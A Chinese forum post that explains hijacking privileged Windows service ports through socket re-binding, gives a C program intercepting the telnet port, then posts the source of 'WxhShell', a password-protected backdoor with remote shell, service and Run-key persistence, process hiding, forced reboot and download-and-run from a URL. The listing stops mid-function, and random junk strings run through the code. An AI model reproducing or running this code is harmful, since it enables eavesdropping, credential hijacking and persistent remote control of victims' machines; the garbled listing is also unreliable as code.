社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18786阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hcRe,}wJ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8> $=p4bf  
8@(?E[&O>  
  saddr.sin_family = AF_INET; @_$$'XA7  
IHi[3xf<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @Lf&[_  
>`a^E1)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^'M^0'_"v  
,dK)I1"C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @RszPH1B  
H25Qx;(dTk  
  这意味着什么?意味着可以进行如下的攻击: pjTJZhT2I  
gp{C89gP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SiaW; ks  
<%% )C>l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3h>L0  
H~vrCi~t"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %,z;W-#gnY  
4%8den,|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?E+f<jol  
rO.[/#p\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]Q0bL  
%xG<hNw/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nh5=0{va|L  
_izjvg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bE mN tp^  
bHx@   
  #include tJ6Q7 J;n  
  #include ~8mz.ZdY  
  #include EK[J!~  
  #include    `[#id@Z1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]1>R8  
  int main() TI l 'Z7  
  { !03JA9lo  
  WORD wVersionRequested; ;L-)$Dy4  
  DWORD ret; WwZ3hd  
  WSADATA wsaData; s$fX ;  
  BOOL val; {5{VGAD&]>  
  SOCKADDR_IN saddr; na~ FT[3 C  
  SOCKADDR_IN scaddr; Me? I8:/  
  int err; y9R%%i  
  SOCKET s; .N.RpRz{f  
  SOCKET sc; #-f9>S9_  
  int caddsize; +a|Q)Ob  
  HANDLE mt; |94o P>d  
  DWORD tid;   G rU`;M"  
  wVersionRequested = MAKEWORD( 2, 2 ); 5psJv|Zo]  
  err = WSAStartup( wVersionRequested, &wsaData ); Q4LPi;{\  
  if ( err != 0 ) { Y G8C<g6E7  
  printf("error!WSAStartup failed!\n"); (t V T&eO  
  return -1; MI(#~\Y~P  
  } *P7/ry^<F  
  saddr.sin_family = AF_INET; siCm)B  
   $H)!h^7^9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )$i,e`T   
+"BJjxG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [ei~Xkzkj  
  saddr.sin_port = htons(23); .uS`RS8JM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uI?Z_  
  { sU*?H`U3d  
  printf("error!socket failed!\n"); :*|Ua%L_  
  return -1; 4TPdq&';C:  
  } Op]*wwI*h  
  val = TRUE; m> P\}A^N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9{Etv w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RC1bTM  
  { 6.KEe^[-  
  printf("error!setsockopt failed!\n"); ] L#c <0  
  return -1; Jh&DL8`  
  } M@h"FuX:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1|xe'w{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h6O'"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p o)lN[v  
EKF4 ]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K/N{F\  
  { T"za|Fo  
  ret=GetLastError(); U_PH#e  
  printf("error!bind failed!\n"); i6n,N)%H  
  return -1; F09%f"9  
  } "h[)5V{  
  listen(s,2); fvH{ va.  
  while(1) R59iuHQ[  
  { fw,,cu`YA  
  caddsize = sizeof(scaddr); m{RXt  
  //接受连接请求 %} zkmEY.e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [Z:P{yr  
  if(sc!=INVALID_SOCKET) inO;Uwlv  
  { u1y>7,Z6W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .|go$}Fk  
  if(mt==NULL) p~8O6h@J  
  { y3 N[F  
  printf("Thread Creat Failed!\n"); E8#aE\'t  
  break; ~!5Qb{^  
  } z{w %pUn}  
  } G]k[A=dg  
  CloseHandle(mt); [[<TW}  
  } uQdy  
  closesocket(s); =gJ{75tV3  
  WSACleanup(); D>W&#A8&y  
  return 0; fUWrR1  
  }   \yw5`5g  
  DWORD WINAPI ClientThread(LPVOID lpParam) %Y;^$%X%_  
  { d1c+Ii%  
  SOCKET ss = (SOCKET)lpParam; rm3/R<  
  SOCKET sc; J Hm Pa  
  unsigned char buf[4096]; $},XRo&R  
  SOCKADDR_IN saddr; + <E zv  
  long num; :ZB.I(v  
  DWORD val; `{ >/'o  
  DWORD ret; ,qp8Rg|3j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3]JJCaf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ."BXA8c;A  
  saddr.sin_family = AF_INET; ;4b=/1M'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^ /G ;  
  saddr.sin_port = htons(23); d-Z2-89K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~<K,P   
  { jG{?>^  
  printf("error!socket failed!\n"); 08^f|K  
  return -1; Lm`-q(!7w  
  } rBQ<5.  
  val = 100; 1I69O6"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nF]R "  
  { VvP: }yJ  
  ret = GetLastError(); VUUnB<j  
  return -1; <v'[Wl@hq  
  } q#c+%,Z=C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Nk\ni>Du3  
  { ,ps?@lD  
  ret = GetLastError(); ySiZ@i4  
  return -1; Y(1?uVYW\d  
  } &)tv4L&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,GVX1B?  
  { ZLKbF9lo  
  printf("error!socket connect failed!\n"); xL.m<XDL  
  closesocket(sc); #Ox@[Z1I  
  closesocket(ss); Pb T2- F_  
  return -1; $X Uck[  
  } V 1d#7rP  
  while(1) U.~G{H`G,u  
  { s Y1@~v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s=jH1^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MmvJ)|&t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <h#W*a  
  num = recv(ss,buf,4096,0); )ej1)RU"  
  if(num>0) !})Y9oZc8  
  send(sc,buf,num,0); -:=m-3*Tg  
  else if(num==0) )_j(NX-C:  
  break; Wm"#"l4  
  num = recv(sc,buf,4096,0); fCY??su*   
  if(num>0) "dt}k$Gr  
  send(ss,buf,num,0); 3p HI+a  
  else if(num==0) ?nL,Otz  
  break; L58H)V3Pn  
  } 1QmOUw}yj  
  closesocket(ss); d ]|K%<+(  
  closesocket(sc); _>`9]6\&  
  return 0 ; @,,G]4zZ!  
  } 9@"pR;X@  
;Q vQ fV4  
T'lycc4~a  
========================================================== SOsz=bVx  
(m! kg  
下边附上一个代码,,WXhSHELL j ]%XY+e  
t D 8l0  
========================================================== xa]yq%  
yId1J  
#include "stdafx.h"  _fn7-&6  
&gT@oS{  
#include <stdio.h> {Z <`@\K3  
#include <string.h> |LLpG37_  
#include <windows.h> |dHtv6I  
#include <winsock2.h> 9wf"5c  
#include <winsvc.h> Zi]E!Tgn  
#include <urlmon.h> Tzj v-9^V  
0w TOdCvmb  
#pragma comment (lib, "Ws2_32.lib") alzdYiGf  
#pragma comment (lib, "urlmon.lib") tXrKC  
oKz! Xu%Hl  
#define MAX_USER   100 // 最大客户端连接数 =IX-n$d`>  
#define BUF_SOCK   200 // sock buffer $i<+O,@-  
#define KEY_BUFF   255 // 输入 buffer Q{=r9&&  
D{7^y>8_Y-  
#define REBOOT     0   // 重启 <a_ (qh@B  
#define SHUTDOWN   1   // 关机 "v0bdaQH3  
,m0 M:!hK  
#define DEF_PORT   5000 // 监听端口 "R)n1,0  
=#Jx~d[C  
#define REG_LEN     16   // 注册表键长度 ]57Ef'N  
#define SVC_LEN     80   // NT服务名长度 5Zhl@v,L%  
KCZ<#ca^  
// 从dll定义API e#}Fm;|d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JURu>-i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l9j= ;h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s 8K.A~5 w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F"M/gy  
jp4-w(  
// wxhshell配置信息 hop| xtai;  
struct WSCFG { XGe;v~L  
  int ws_port;         // 监听端口 W<^t2j'  
  char ws_passstr[REG_LEN]; // 口令 *6u2c%^  
  int ws_autoins;       // 安装标记, 1=yes 0=no znWB.H  
  char ws_regname[REG_LEN]; // 注册表键名 TT3GGHR  
  char ws_svcname[REG_LEN]; // 服务名 \BfMCA/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +CSv@ />3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )+,h}XqlX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B9 ?58v&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O.y ?q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NB^Al/V@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DS@Yto  
RTg\c[=w  
}; "|&3z/AUh  
oXk6,b"  
// default Wxhshell configuration oz]3 Tx  
struct WSCFG wscfg={DEF_PORT, 6~{'\Z  
    "xuhuanlingzhe", "G*$#  
    1, S"^'ksL\  
    "Wxhshell", jd5kkX8=  
    "Wxhshell", sieC7raO  
            "WxhShell Service", E&t8nlTx  
    "Wrsky Windows CmdShell Service", Fx1FxwIJ  
    "Please Input Your Password: ", d5 {=<j  
  1, hRB?NM  
  "http://www.wrsky.com/wxhshell.exe", OA}; pQ9QN  
  "Wxhshell.exe" "8?Fl&=Q  
    }; Dz2Z (EXI~  
}Cfl|t<5f  
// 消息定义模块 Pq{p\Qkj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Us# /#-hJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @\oZ2sB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hiV!/}'7  
char *msg_ws_ext="\n\rExit."; s]A8C^;c  
char *msg_ws_end="\n\rQuit."; [%6)  
char *msg_ws_boot="\n\rReboot..."; pH3\X cn  
char *msg_ws_poff="\n\rShutdown..."; w03Ur4>T  
char *msg_ws_down="\n\rSave to "; WH7UJCQ  
{LA?v& b'  
char *msg_ws_err="\n\rErr!"; a!u5}[{  
char *msg_ws_ok="\n\rOK!"; Rq?t=7fX)  
/d"@$+  
char ExeFile[MAX_PATH]; g$Vr9MH  
int nUser = 0; V)5,E>;EN  
HANDLE handles[MAX_USER]; SE i\H$ !  
int OsIsNt; ?< yYm;B  
8vR'<_>Q  
SERVICE_STATUS       serviceStatus; z9 #-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 69:-c@ L0  
X6w+L?A  
// 函数声明 - 3PLP$P  
int Install(void); _):@C:6  
int Uninstall(void); }$uwAevP{y  
int DownloadFile(char *sURL, SOCKET wsh); `0_ Y| 4KB  
int Boot(int flag); \WdSj  
void HideProc(void); c`S+>:  
int GetOsVer(void); v,~f G>Y}  
int Wxhshell(SOCKET wsl); +`mI\+y,  
void TalkWithClient(void *cs); <rui\/4NJ  
int CmdShell(SOCKET sock); e$Yvy>I'tS  
int StartFromService(void); G^VOA4  
int StartWxhshell(LPSTR lpCmdLine); bF,.6iKI  
Ml?KnSb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k*,+ag*j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EASmB  
}F9#3W&`c  
// 数据结构和表定义 Q 9f5}  
SERVICE_TABLE_ENTRY DispatchTable[] = "8U=0a  
{ BKE?o^03  
{wscfg.ws_svcname, NTServiceMain}, ^k^?>h  
{NULL, NULL} ~h=iZ/g_^_  
}; fF#Fc&B  
;GOu'34j  
// 自我安装 [C;Neslo  
int Install(void) XUUP#<,s  
{ Pn@DHYP  
  char svExeFile[MAX_PATH]; !SnLvW89Z  
  HKEY key; '<ZHzDW@  
  strcpy(svExeFile,ExeFile); kou7_4oS  
8s[1-l  
// 如果是win9x系统,修改注册表设为自启动 ${wp}<u_  
if(!OsIsNt) { &?xmu204  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /yY}.S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ){eQ.yW  
  RegCloseKey(key); L=HnVgBs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x`IWo:j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5~2_wWjX  
  RegCloseKey(key); 3a ZS1]/  
  return 0; mtE+}b@(!&  
    } yFd94 2  
  } Ar?ZUASJ  
} _T8S4s8q  
else { 9^Web~yi#  
MI:%Eq  
// 如果是NT以上系统,安装为系统服务 d`5AQfL&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YvP62c \  
if (schSCManager!=0) 9~a5R]x2  
{ <X& fs*x&  
  SC_HANDLE schService = CreateService G'dN<Nw6  
  ( :mf&,?  
  schSCManager, NNE(jJ`/  
  wscfg.ws_svcname, u.?jWvcv  
  wscfg.ws_svcdisp, 3qH1\  
  SERVICE_ALL_ACCESS, `/!FZh<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7d|1T'  
  SERVICE_AUTO_START, )z4eRs F|  
  SERVICE_ERROR_NORMAL, 4UzXTsjM7  
  svExeFile, 7 &%#bMnw  
  NULL, f:~$x  
  NULL, C6@*l~j  
  NULL, ^mC,Z+!  
  NULL, tc\ZYCFr  
  NULL !g=b=YK  
  ); -F3~X R  
  if (schService!=0) Zv-1*hhHf  
  { 0E (G1o'  
  CloseServiceHandle(schService); &0%B3  
  CloseServiceHandle(schSCManager); ]Ge>S?u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ryA+Lli.  
  strcat(svExeFile,wscfg.ws_svcname); =d:3]M^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >NV1#\5_R@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g4+Hq *  
  RegCloseKey(key); .ns=jp  
  return 0; :^>&t^E  
    } a+a6P5kJ  
  } /nX_Q?mo  
  CloseServiceHandle(schSCManager); IX<9_q  
} :7dc;WdM  
} nvNF~)mu  
+ DE/DR:  
return 1; 8xh x*A  
} H/;AlN|!  
<$25kb R5K  
// 自我卸载 Xrpvq(]  
int Uninstall(void) j*4:4B%  
{ 5tLb o  
  HKEY key; @>J(1{m=Gy  
y"U)&1 c%  
if(!OsIsNt) { BB(v,W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +Kg }R5+  
  RegDeleteValue(key,wscfg.ws_regname); BD86t[${W  
  RegCloseKey(key); asLrXGGyT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `P*BW,P'T  
  RegDeleteValue(key,wscfg.ws_regname); |90X_6(  
  RegCloseKey(key); du#f_|xG  
  return 0; [/ertB  
  }  y}|E)  
} I Xm[c@5l  
} $% gz, {  
else { .n)R@&9  
AP1ZIc6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z'}%Mkm`i}  
if (schSCManager!=0) ozl!vf# kv  
{ ;vX1U8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R(cg`8  
  if (schService!=0) .c__T {<)[  
  { d\JB jT1g  
  if(DeleteService(schService)!=0) { S'NLj(  
  CloseServiceHandle(schService); p0]\QM l1  
  CloseServiceHandle(schSCManager); :)tsz;  
  return 0; V d]7v  
  } |GsMLY:0  
  CloseServiceHandle(schService); Wv;,@xTZ  
  } k%kEW%I yG  
  CloseServiceHandle(schSCManager); 'd&4MA0X  
} Ry xu#]s  
} ;'08-Et  
khD)x0'b  
return 1; g#7Q-n3^  
} }&2,!;"">3  
v9S=$Aj  
// 从指定url下载文件 #Er"i  
int DownloadFile(char *sURL, SOCKET wsh) (uhE'IQ{(  
{ X7`-dSVE  
  HRESULT hr; vH1,As  
char seps[]= "/"; ^Qn:#O9  
char *token; Y%- !%|  
char *file; )& Oxp&x  
char myURL[MAX_PATH]; Fa v++z  
char myFILE[MAX_PATH]; IA[:-2_  
S $o1Q  
strcpy(myURL,sURL); B'`25u_e<  
  token=strtok(myURL,seps); EN":}!E:  
  while(token!=NULL) g;nLR<]  
  { v2p0EOS  
    file=token; n"D` =  
  token=strtok(NULL,seps); =NI?Jk*iAq  
  } 1,Mm+_)B  
&/)B d%  
GetCurrentDirectory(MAX_PATH,myFILE); 8"-=+w.CZ  
strcat(myFILE, "\\"); HIvSpO  
strcat(myFILE, file); ~w|h;*Bj  
  send(wsh,myFILE,strlen(myFILE),0); 'gg <)Bd  
send(wsh,"...",3,0); g`fMHU7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i^ |G  
  if(hr==S_OK) 3/yt  
return 0; dC-~=}HR^  
else KRcB_(  
return 1; ',t*:GBZCf  
ZZTf/s*  
} ]FIIs58IM  
Th*}U&  
// 系统电源模块 ]j6K3  
int Boot(int flag) )cZHBG.0H  
{ .>.GQUr  
  HANDLE hToken; x a<KF  
  TOKEN_PRIVILEGES tkp; O"\_%=X9  
bGK*1FlH  
  if(OsIsNt) { k<+Sj h$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d ePk}Sn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U=69q]  
    tkp.PrivilegeCount = 1; B7|%N=S%/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <j,3Dn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e.%I#rNI  
if(flag==REBOOT) { &ni#(   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6DK).|@$r  
  return 0; UntFkoO  
} {Q_GJ  
else { a7F_{Mm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $;Iz7:#jN  
  return 0; H.' 9]*  
} C7*YZe  
  } W;UPA~nT~  
  else { K@g ~  
if(flag==REBOOT) { dh [kx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l5&5VC)  
  return 0; fR'!p: ~  
} bn8maYUZ  
else { fHEIys,{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !t"/w6X1I  
  return 0; {#,5C H')  
} t&=bW<6  
} rr1'| k "  
.KC V|x;QW  
return 1; O2p E"8=4Q  
} +_cigxpTc  
&|ne!wu  
// win9x进程隐藏模块 V:J|shRo  
void HideProc(void) 'q |"+;  
{ c$2kR:  
.ve_If-Hg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7vFmB  
  if ( hKernel != NULL ) 4dCXBTT  
  { etiUt~W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M:%g)FgW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :/szA?:W  
    FreeLibrary(hKernel); rg k1.0U0  
  } d v[.u{#tP  
f:&JKB)N  
return; h@=@ fa  
} 9"+MZ$  
Xy 4k;+  
// 获取操作系统版本 )V[j~uOU)]  
int GetOsVer(void) )$9w Kk\F  
{ .d^8?vo  
  OSVERSIONINFO winfo; 7qOkv1.}0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _B erHoQd  
  GetVersionEx(&winfo); V*Fy@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5YNAb/! !F  
  return 1; "N=$ =Dy >  
  else QK0]9   
  return 0; R=E4Sh  
} WKlqm)m@  
2#lpIj  
// 客户端句柄模块 *<:X3|3E  
int Wxhshell(SOCKET wsl) (_@5V_U  
{ <ml?DXT  
  SOCKET wsh; N~ CQh=<  
  struct sockaddr_in client; |^UQVNJ  
  DWORD myID; ]J!#"m-]  
a]V8F&)g#  
  while(nUser<MAX_USER) BV>9U5  
{ KO#kIM-  
  int nSize=sizeof(client); k# Ho7rS&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kJf0..J[#<  
  if(wsh==INVALID_SOCKET) return 1; =lk'[P/p`  
$A{$$8P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f:~G)  
if(handles[nUser]==0) /N*<Fq7w~  
  closesocket(wsh); UV}:3c6ZX  
else :M{ )&{D  
  nUser++; HP[B%  
  } {-me;ayk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @^YXE,  
cRr3!<EZ  
  return 0; VpHwc!APq  
} DGCvH)Q  
((`{-y\K  
// 关闭 socket e#h&Xa  
void CloseIt(SOCKET wsh) P (7el  
{ Qfy_@w]  
closesocket(wsh); Ji!i}UjD7!  
nUser--; i_AD3Jrs  
ExitThread(0); Y96<c" t  
} eF{uWus  
v+Y^mV`|  
// 客户端请求句柄 AU`z.Isf  
void TalkWithClient(void *cs) yQj J-g(.  
{ Z'k?lkB2i  
,#, K_oz  
  SOCKET wsh=(SOCKET)cs; {%>~ ]9E  
  char pwd[SVC_LEN]; %_Lz0L64k  
  char cmd[KEY_BUFF]; z$%8'  
char chr[1]; FN!?o:|(  
int i,j; .@nfqv7{  
zFO0l).  
  while (nUser < MAX_USER) { <HRPloVKo  
,{q#U3  
if(wscfg.ws_passstr) { 0.R3(O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &XCd2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jf7H;ZM<  
  //ZeroMemory(pwd,KEY_BUFF); U ^O4HJ  
      i=0; NkBvN\CQ  
  while(i<SVC_LEN) { iExKi1knx  
dba_(I~y  
  // 设置超时 MYara;k  
  fd_set FdRead; `{Oqb  
  struct timeval TimeOut; K*Ba;"Ugeg  
  FD_ZERO(&FdRead); !*&5O~dfN  
  FD_SET(wsh,&FdRead); {4 vWSb  
  TimeOut.tv_sec=8; |#cqxr"  
  TimeOut.tv_usec=0; GOA dhh-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g_l-@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _7:Bxx4B  
*: FS/ir  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h~ _i::vg  
  pwd=chr[0]; !+@70|gFF  
  if(chr[0]==0xd || chr[0]==0xa) { ~YW;'  
  pwd=0;  bV(BwWm  
  break; W%^!<bFk}m  
  } ^u$=<66  
  i++; Z P|k3   
    } ]Ri=*KZa  
BRu}"29  
  // 如果是非法用户,关闭 socket H'!OEZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '*Dp2Y{7  
} 0#Ug3_dfr  
*(r9c(xa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ERK{smL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UJL'4 t/  
_,K[kVn  
while(1) { Ofoh4BL'1@  
R>:D&$[RD  
  ZeroMemory(cmd,KEY_BUFF); C "@>NC_  
V!]|u ^4I  
      // 自动支持客户端 telnet标准   _I'k&R  
  j=0; KV;q}EyG  
  while(j<KEY_BUFF) { .0U[n t6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O zC%6;6h  
  cmd[j]=chr[0]; 4NaT@68p  
  if(chr[0]==0xa || chr[0]==0xd) { oaq,4FT  
  cmd[j]=0; ^2rj);{V  
  break; }I}GA:~$%  
  } [N4N7yF  
  j++; hTv*4J&@|  
    } ;DZj.| Sj+  
rf+}J_  
  // 下载文件 S\I+UeFkf  
  if(strstr(cmd,"http://")) { 4PS|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p</t##]3ks  
  if(DownloadFile(cmd,wsh)) 8kU(>' ^_:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q*4@d)_&  
  else 'Tqusr>lPY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  n9&fH  
  } [=cbzmX[  
  else { &*O'qOO<2  
GcO:!b*YMp  
    switch(cmd[0]) { :f7!?^;y>  
  .7Qqs=Au  
  // 帮助 pQ7elv]  
  case '?': { _hJ+8B^`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $d-yG553  
    break; 94 6r#`q  
  } e"sv_$*  
  // 安装 #;8VBbc\^  
  case 'i': { >HwVP.~HN  
    if(Install()) d<=!*#q;o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)jR|8MAE  
    else ircL/:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Bkg<  
    break; RlvvO  
    } T&S=/cRBK}  
  // 卸载 ^e]O >CJ  
  case 'r': { #>~A-k)  
    if(Uninstall()) w-km qh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^zqQ8{oV  
    else ^oq|^O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L?8OWLjRy  
    break; vYLspZ;S  
    } w0sy@OF  
  // 显示 wxhshell 所在路径  C. uv0  
  case 'p': { _M;{}!Gc&A  
    char svExeFile[MAX_PATH]; D2 o|.e<r  
    strcpy(svExeFile,"\n\r"); XD!}uDZ^  
      strcat(svExeFile,ExeFile); ]-X\n  
        send(wsh,svExeFile,strlen(svExeFile),0); 5\JV}  
    break; y[cc<wm$  
    } U m`KmM3  
  // 重启 Ik5-ooZ&{  
  case 'b': { a.O"I3{?h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (<OmYnm  
    if(Boot(REBOOT))  1v3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?0z/i^I  
    else { X9" T(`  
